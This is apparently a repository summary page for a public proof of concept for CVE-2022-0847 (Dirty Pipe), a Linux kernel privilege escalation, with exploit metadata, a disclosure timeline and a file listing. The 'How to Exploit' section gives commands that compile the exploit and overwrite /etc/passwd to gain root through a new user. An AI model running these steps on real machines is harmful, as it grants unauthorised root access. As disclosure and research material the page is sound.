CVE-2022-0847 PoC — Linux kernel 安全漏洞

Source

https://github.com/Al1ex/CVE-2022-0847

Associated Vulnerability

Title:Linux kernel 安全漏洞 (CVE-2022-0847)
Description:A flaw was found in the way the "flags" member of the new pipe buffer structure was lacking proper initialization in copy_page_to_iter_pipe and push_pipe functions in the Linux kernel and could thus contain stale values. An unprivileged local user could use this flaw to write to pages in the page cache backed by read only files and as such escalate their privileges on the system.

Description

CVE-2022-0847

Readme

### Information

```c
Exploit Title: Local Privilege Escalation in Linux kernel (CVE-2022-0847)
Date: 03/07/2022
Exploit Author: Max Kellermann <max.kellermann@ionos.com>
Tested on: ubuntu 20.04.1 LTS
Affect product:Linux kernel 5.8 or later
Fixed Product:Linux kernel 5.16.11, 5.15.25, 5.10.102
CVE ID: CVE-2022-0847
```

### How to Exploit

Test Environment：

![env](img/env.png)

Local Privilege Escalation

```
cp /etc/passwd /tmp/passwd.bak
gcc exp.c -o exp
./exp /etc/passwd 1 ootz:
su rootz
id
```

![exp](img/exp.png)

### Reference

https://dirtypipe.cm4all.com/

### Timeline

- 2021-04-29: first support ticket about file corruption
- 2022-02-19: file corruption problem identified as Linux kernel bug, which turned out to be an exploitable vulnerability
- 2022-02-20: bug report, exploit and patch sent to the [Linux kernel security team](https://www.kernel.org/doc/html/latest/admin-guide/security-bugs.html)
- 2022-02-21: bug reproduced on Google Pixel 6; bug report sent to the Android Security Team
- 2022-02-21: [patch sent to LKML (without vulnerability details)](https://lore.kernel.org/lkml/20220221100313.1504449-1-max.kellermann@ionos.com/) as suggested by Linus Torvalds, Willy Tarreau and Al Viro
- 2022-02-23: Linux stable releases with my bug fix ([5.16.11](https://lore.kernel.org/stable/1645618039140207@kroah.com/), [5.15.25](https://lore.kernel.org/stable/164561803311588@kroah.com/), [5.10.102](https://lore.kernel.org/stable/164561802556115@kroah.com/))
- 2022-02-24: [Google merges my bug fix into the Android kernel](https://android-review.googlesource.com/c/kernel/common/+/1998671)
- 2022-02-28: notified the [linux-distros](https://oss-security.openwall.org/wiki/mailing-lists/distros#how-to-use-the-lists) mailing list
- 2022-03-07: public disclosure

File Snapshot


 [4.0K]  /data/pocs/e04c24efaee7070ab80e44c16d25bba13d78fecd
├── [ 17K]  exp
├── [4.4K]  exp.c
├── [4.0K]  img
│   ├── [167K]  env.png
│   └── [ 83K]  exp.png
└── [1.8K]  README.md

1 directory, 5 files

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